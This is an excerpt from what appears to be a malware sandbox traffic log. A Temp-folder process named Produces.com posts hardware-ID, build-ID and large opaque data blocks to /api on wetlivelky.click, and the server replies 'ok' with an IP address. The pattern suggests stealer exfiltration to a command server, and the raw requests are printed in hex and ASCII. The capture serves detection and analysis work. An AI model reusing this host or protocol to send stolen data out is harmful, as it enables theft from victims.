42unVxOVvNSDXAPaHy+wblVmzacwxfISEHAzLxwLL07i/nKJRlW6lINGwEhaeWI7x+II876Wp5TRqayrmUotCya/4hCQRziAlI1Tmggvp+5SstqzsEFnhNWrKnONXHqeZOg3CVBVr1AG2JTaDa+3voAiiKN0xeZdTjZ6JZgMasVsunfaFEB9F5AIU8maejZt1KXZNb8VJYLObCygyZ++h6P4MtiQQeoNU8vRz9/vte5FNh83otU2lpGpqLJPXPp
2024-12-27 09:11:45 UTC	1369	IN	Data Raw: 4a 71 61 53 6a 77 45 56 73 73 52 6a 35 2f 76 74 65 35 48 64 68 38 74 34 56 63 6e 6e 52 49 76 75 72 62 50 6d 61 50 4b 49 4c 67 77 6e 4e 47 57 38 49 63 55 69 4e 58 4f 48 6e 78 32 62 64 53 6e 6d 54 57 6c 31 71 65 54 78 65 2b 71 73 73 30 66 65 39 34 32 37 36 58 65 68 6b 50 70 51 51 56 65 68 4e 6d 4c 75 7a 5a 6f 56 4c 66 4a 35 7a 58 45 74 31 64 42 62 6e 4d 70 55 45 6f 76 53 71 61 2f 74 4a 71 47 44 6a 54 4d 32 73 63 56 43 74 67 38 4a 37 76 41 39 68 71 7a 73 70 55 68 6e 4a 47 74 72 4b 6b 4b 47 61 69 61 39 53 75 38 47 5a 5a 47 4f 49 45 52 47 39 6d 4a 6d 6e 2f 6a 2b 6b 46 6c 32 75 67 38 7a 57 65 42 55 62 34 73 73 4d 30 61 50 6f 76 6e 61 36 64 4e 51 56 4e 73 45 45 43 63 68 4d 33 49 4f 66 5a 37 31 4c 41 64 73 43 46 42 70 34 54 52 72 6e 78 69 58 51 67 75 54 32 50 71 Data Ascii: JqaSjwEVssRj5/vte5Hdh8t4VcnnRIvurbPmaPKILgwnNGW8IcUiNXOHnx2bdSnmTWl1qeTxe+qss0fe94276XehkPpQQVehNmLuzZoVLfJ5zXEt1dBbnMpUEovSqa/tJqGDjTM2scVCtg8J7vA9hqzspUhnJGtrKkKGaia9Su8GZZGOIERG9mJmn/j+kFl2ug8zWeBUb4ssM0aPovna6dNQVNsEECchM3IOfZ71LAdsCFBp4TRrnxiXQguT2Pq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:11:46 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3GRJ7LHDSC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18115 Host: wetlivelky.click
2024-12-27 09:11:46 UTC	15331	OUT	Data Raw: 2d 2d 33 47 52 4a 37 4c 48 44 53 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 34 35 41 44 30 42 46 39 37 37 46 46 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 33 47 52 4a 37 4c 48 44 53 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 47 52 4a 37 4c 48 44 53 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 4c 69 6c 6c 79 4c 0d 0a 2d 2d 33 47 52 4a 37 4c 48 44 53 43 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --3GRJ7LHDSCContent-Disposition: form-data; name="hwid"31245AD0BF977FF1BEBA0C6A975F1733--3GRJ7LHDSCContent-Disposition: form-data; name="pid"2--3GRJ7LHDSCContent-Disposition: form-data; name="lid"VXGDR--LillyL--3GRJ7LHDSCContent-
2024-12-27 09:11:46 UTC	2784	OUT	Data Raw: c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_
2024-12-27 09:11:47 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:11:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tgdnq6c2hdnhah199ta520fjre; expires=Tue, 22 Apr 2025 02:58:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RNFZTfN2uv%2FAc%2B%2FfLE35B1k%2FxxTu9pWWr4PemY9VJ6snzwksADt36QQKOhhXGdoyuyq%2F0ecrwIkXaCjQWRcQfewnr%2Fk%2BvSFeFVJm0COKt6Dwy%2BdOYAAONtiQQiVOcIINzP2x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882f656a1343b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1565&min_rtt=1558&rtt_var=598&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2840&recv_bytes=19069&delivery_rate=1809169&cwnd=195&unsent_bytes=0&cid=4688acf27fc018b1&ts=1076&x=0"
2024-12-27 09:11:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:11:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:11:48 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VQCPK4875 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8730 Host: wetlivelky.click
2024-12-27 09:11:48 UTC	8730	OUT	Data Raw: 2d 2d 56 51 43 50 4b 34 38 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 34 35 41 44 30 42 46 39 37 37 46 46 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 56 51 43 50 4b 34 38 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 51 43 50 4b 34 38 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 4c 69 6c 6c 79 4c 0d 0a 2d 2d 56 51 43 50 4b 34 38 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --VQCPK4875Content-Disposition: form-data; name="hwid"31245AD0BF977FF1BEBA0C6A975F1733--VQCPK4875Content-Disposition: form-data; name="pid"2--VQCPK4875Content-Disposition: form-data; name="lid"VXGDR--LillyL--VQCPK4875Content-Disp
2024-12-27 09:11:52 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:11:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=shf2i96th8j2tkc63iqh7uemhg; expires=Tue, 22 Apr 2025 02:58:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iUPeA2zP%2FFXSKDq%2Bum%2BPKE07PqxIYZdaon2D47bZdytDEDU7masRxjmUpziXBJKuaxR1OdJc%2BUK%2BwqKIMFamt%2B6%2BE8qZrCOtMNIsm0M%2FguBGdujZ3zRJidC1rL%2BDtWH9Pk9N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882f73be6a42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1562&rtt_var=603&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2839&recv_bytes=9660&delivery_rate=1787025&cwnd=227&unsent_bytes=0&cid=e2076d0d7ae7a507&ts=4047&x=0"
2024-12-27 09:11:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:11:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:11:54 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CKT12CXR99MRRE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20413 Host: wetlivelky.click
2024-12-27 09:11:54 UTC	15331	OUT	Data Raw: 2d 2d 43 4b 54 31 32 43 58 52 39 39 4d 52 52 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 34 35 41 44 30 42 46 39 37 37 46 46 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 4b 54 31 32 43 58 52 39 39 4d 52 52 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 4b 54 31 32 43 58 52 39 39 4d 52 52 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 4c 69 6c 6c 79 4c 0d 0a 2d 2d 43 4b 54 31 32 43 58 52 Data Ascii: --CKT12CXR99MRREContent-Disposition: form-data; name="hwid"31245AD0BF977FF1BEBA0C6A975F1733--CKT12CXR99MRREContent-Disposition: form-data; name="pid"3--CKT12CXR99MRREContent-Disposition: form-data; name="lid"VXGDR--LillyL--CKT12CXR
2024-12-27 09:11:54 UTC	5082	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-27 09:11:55 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:11:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=35cqljecrc1aq30aqi1p5h3ute; expires=Tue, 22 Apr 2025 02:58:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SeuTFBcUyOUdWUHw049go53kpnjPy6IOinngfJhwc4b4Ee0JAWWsrUwbPY8KX17mAu6M%2F2TdVbLbrGSwD6Jq0nSKSDBjJ%2BwAiFsANuPlR%2BpGC6lhWyDqmBvYwO%2FtcHp1pgtN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882f956ed441a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2287&min_rtt=2281&rtt_var=868&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21371&delivery_rate=1252681&cwnd=239&unsent_bytes=0&cid=e167a37416d75061&ts=1004&x=0"
2024-12-27 09:11:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:11:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:11:56 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KOZIYHDO9U8A1TEZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1234 Host: wetlivelky.click
2024-12-27 09:11:56 UTC	1234	OUT	Data Raw: 2d 2d 4b 4f 5a 49 59 48 44 4f 39 55 38 41 31 54 45 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 34 35 41 44 30 42 46 39 37 37 46 46 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 4f 5a 49 59 48 44 4f 39 55 38 41 31 54 45 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 4f 5a 49 59 48 44 4f 39 55 38 41 31 54 45 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 4c 69 6c 6c 79 4c 0d 0a 2d 2d 4b 4f Data Ascii: --KOZIYHDO9U8A1TEZContent-Disposition: form-data; name="hwid"31245AD0BF977FF1BEBA0C6A975F1733--KOZIYHDO9U8A1TEZContent-Disposition: form-data; name="pid"1--KOZIYHDO9U8A1TEZContent-Disposition: form-data; name="lid"VXGDR--LillyL--KO
2024-12-27 09:11:57 UTC	1118	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:11:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e8fui0qehrggu9rk1sbr5palvl; expires=Tue, 22 Apr 2025 02:58:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aoI3%2B5JpZsfJJXa1RKOYwVu6cBMbuUyREEg9qi4XRd4GElo4qmkq3dpuPurFMyxBZ5FypTgpT2MO2Drsk7sGuGZMzyQgOyvdONAqGxELOT1d031ERH2FS9ecYrzrCxWnIhnc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882fa42b8142a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2017&rtt_var=766&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2149&delivery_rate=1420924&cwnd=225&unsent_bytes=0&cid=5ce1d7f81f387a1d&ts=803&x=0"
2024-12-27 09:11:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:11:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:11:59 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J5KIXPMO1M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 591733 Host: wetlivelky.click
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: 2d 2d 4a 35 4b 49 58 50 4d 4f 31 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 34 35 41 44 30 42 46 39 37 37 46 46 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 35 4b 49 58 50 4d 4f 31 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 35 4b 49 58 50 4d 4f 31 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 4c 69 6c 6c 79 4c 0d 0a 2d 2d 4a 35 4b 49 58 50 4d 4f 31 4d 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --J5KIXPMO1MContent-Disposition: form-data; name="hwid"31245AD0BF977FF1BEBA0C6A975F1733--J5KIXPMO1MContent-Disposition: form-data; name="pid"1--J5KIXPMO1MContent-Disposition: form-data; name="lid"VXGDR--LillyL--J5KIXPMO1MContent-
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: bf b6 6a d6 bb ab 73 d8 16 19 15 55 c9 db 26 b3 dc 9c 26 ba f5 8a 9a 54 e2 a0 bd 4f e8 62 96 2a 36 a2 22 fe 38 13 78 1f 84 ca 2e d5 cc 94 5e e3 c7 0d 0c 6e e5 15 12 1f c3 5e ea 84 81 12 a5 4a 04 fd 79 7a a3 a1 36 66 e8 c8 d9 49 ed f0 bf 3e ee 13 b5 c1 dc 6e e9 27 38 f3 3f 2f 3c 38 b5 66 3e 23 d3 55 f5 20 5b 1d cd 9e 56 37 65 bf 7f 9f 0a d1 77 98 0a d9 d0 57 cd 3b d8 54 3d 51 0d 4a 92 f6 84 14 de 9d 69 e9 e2 3c 93 5f 81 1b e4 ef 81 b6 a0 ea e8 de 84 d3 9c 1d b3 85 26 61 ee 87 52 f6 e2 a6 19 43 2e 6e 3e ca 5d ab bc 21 bc 0d e7 f3 d7 d7 6b 0e 52 cf b3 d3 e7 7d 62 84 01 d0 8b a0 5a a3 52 68 96 45 62 f4 9f e2 dd ab 27 fd 96 bf 84 e7 80 1e 61 df db ba 4f 40 4f 35 60 07 ef 5e 4f 3e f8 c9 75 35 a5 2c b0 d3 4d 85 ef 3e 1b 75 9a 6d 36 b7 b9 ce 3b 49 91 25 53 61 2f Data Ascii: jsU&&TOb*6"8x.^n^Jyz6fI>n'8?/<8f>#U [V7ewW;T=QJi<_&aRC.n>]!kR}bZRhEb'aO@O5`^O>u5,M>um6;I%Sa/
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: ed 3d 24 e1 c7 30 76 41 bd a6 25 b9 37 5e 51 6c 14 d8 93 9a 5e 36 42 c1 f3 a3 71 1c a0 f8 a9 18 ec cf 9b 29 ed be f1 e4 30 41 25 20 bd 8b 29 37 9b ad 63 e9 5c 67 6d 84 12 f5 b2 78 1e cd c1 20 d8 4d 59 1b ca 7b a1 10 4d 1f da 02 8b 1e 87 cc 2e 36 48 0a ea ba 9d 7f af 74 c1 6f 5f a4 90 da eb 54 1a e1 3b 2d 33 03 4e e0 f3 85 a0 93 17 55 7f df 61 2b 09 22 99 84 41 74 93 dd e5 3c ce 15 31 6c 66 2b cc 2f f6 7a 3d 09 e0 9b b4 be b3 d9 fd 55 40 b9 a6 12 ab b9 e6 d5 f5 34 d4 ce 65 63 e0 31 ac cc e9 36 83 6e 9d 46 cc ef e5 71 1a 6d 85 a8 fb 30 27 25 cf 93 3a 18 91 5e bc 31 84 e7 11 df 78 44 5d 21 de 87 0e 95 e2 ec f3 0c e0 f8 bd f9 87 40 f9 bf c8 c0 d8 9c 2f 8e da fb a2 eb 87 b7 4b 6f 4a 47 85 fb 4e 5d 03 66 22 32 cb 8d 05 39 17 73 5d ec 61 4e d6 46 58 07 47 fb 03 Data Ascii: =$0vA%7^Ql^6Bq)0A% )7c\gmx MY{M.6Hto_T;-3NUa+"At<1lf+/z=U@4ec16nFqm0'%:^1xD]!@/KoJGN]f"29s]aNFXG
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: f1 45 07 dd c3 30 56 47 9a ef 6f 98 24 1a 83 95 94 8b ac 3f 7a 06 fd c7 52 87 66 9e 87 af 40 39 c8 e0 8b 0e c4 ae c4 ed ea 23 77 5f 35 df b2 36 7e c4 b0 e9 08 f2 00 82 90 73 cf 39 bb 02 c5 df 9d 55 4b 83 b5 2a 05 9c d3 03 42 64 5f ce 51 f6 18 0a 84 67 b7 d4 4a 64 5c fe 2f 7e 7f dc b9 e1 23 7d e1 cb 27 ef 0b 16 9d 03 5b 6c e6 05 cf d7 dc 1d 08 a0 04 78 6d 55 ee c1 56 77 5f b0 3f 1f 55 2d aa 5d 2a 00 0e 25 10 d9 90 eb bc b4 89 db 42 a9 fc 36 91 52 59 90 c7 22 fa d5 dd 89 8a 17 4e a9 f0 bd bd 09 3c e7 cb 4c 88 a6 80 b4 65 18 d9 cf 0d 6f a6 d0 37 22 ef 70 4e 42 bc 09 f0 c8 a5 0c 80 fc 4e 10 bf 9b f9 72 79 f4 3c 41 f4 39 c3 40 4f 5d f2 3e a4 b6 8e 00 9a 01 1e 50 88 8b 65 b5 0d b0 9a bc e0 53 10 21 f7 69 51 09 4f 7a 4a e1 e9 3a fa 4f f5 2f cc 9d 95 82 00 ea f1 Data Ascii: E0VGo$?zRf@9#w_56~s9UKBd_QgJd\/~#}'[lxmUVw_?U-]%B6RY"N<Leo7"pNBNry<A9@O]>PeS!iQOzJ:O/
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: 4e 5d f5 87 d1 50 9c 93 c8 6b 6f 9e 50 78 ad 69 8d 47 a9 29 45 45 b2 07 84 eb f9 72 45 70 8a 7e 4a 07 b9 b9 d1 21 8e d0 2b d9 75 d2 ca e7 a5 35 1a 56 2c a9 39 d7 54 e4 b7 9b c4 18 34 d4 55 75 2b a1 be 33 f2 9e 98 c5 5e 11 97 09 3e 54 6b 25 09 4e dc 68 bc b4 e3 2d 30 e7 b8 37 9a ed 08 7d ed 87 cf f7 d7 cf 6c 8e fc e8 d3 93 62 cb 6b 34 d2 66 5a f6 6b 8f 46 c4 c6 a4 31 78 42 a1 78 79 d7 2f f7 2b 57 cb 54 00 cd 55 65 70 7a 09 32 ab 0e b7 cb 51 51 c5 cf 87 b6 af ac f9 8d b6 6d 58 56 b4 ac bd de 74 8b 8b ac 5b 57 3b c8 93 a8 a2 32 d0 b8 11 ef 71 48 24 cd 90 8b da 06 ec 4d f3 34 43 7f 8e 8e 72 db 80 16 04 ff 7d 4f c5 61 92 69 05 27 e4 47 b4 68 f3 dd c1 55 ef 74 92 43 5e 2d 57 86 d3 3a c5 93 78 18 10 2f 10 5b 1c 44 11 da 42 73 d6 20 be 42 03 bc 73 15 1a 2d b0 8e Data Ascii: N]PkoPxiG)EErEp~J!+u5V,9T4Uu+3^>Tk%Nh-07}lbk4fZkF1xBxy/+WTUepz2QQmXVt[W;2qH$M4Cr}Oai'GhUtC^-W:x/[DBs Bs-
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: 36 f0 64 db 2a 3c 88 38 cc b4 e8 56 79 9d 96 23 b1 29 26 3d 1d 52 b2 85 dd da 9b 32 62 b1 37 f3 06 be ac c1 44 66 02 9a 1f be c7 08 5c 74 95 0f d5 77 6e ad 31 f6 c4 88 9c a9 42 e0 bc 54 72 cc a2 78 6b c8 e3 d4 b1 d9 e4 6a 87 03 5e 13 7d 6a 85 e9 05 a2 33 64 a4 f9 24 df f7 22 5f c1 be 18 2f 75 9d ec 5d ca ea 18 55 c0 0b 89 8a 32 d7 e6 53 0b b1 fd fe 99 2e 36 93 02 87 75 9a bd 7d b7 f6 09 25 27 ec cd d3 e1 f2 e9 25 42 46 9e a0 f8 d0 c8 0e 90 b9 70 8e d9 c0 38 74 d9 23 d6 14 cb 9a fa 58 f0 a9 b2 0b 72 4b 09 13 40 8e b0 23 7e c5 3f 21 d2 08 d8 c5 5c 9e a9 81 69 a0 46 25 6c 72 7a 26 a7 19 07 f6 ab b5 db c3 8f c1 8c 62 f5 7f 8c 92 d6 e0 c9 d6 2b 3c 81 7b 01 0b aa f2 bd 48 a4 f9 91 53 95 33 d5 c3 07 5e e9 ee fa ea dc 3b dd 9a 56 72 e7 3f 3a 44 77 a5 98 84 83 c5 Data Ascii: 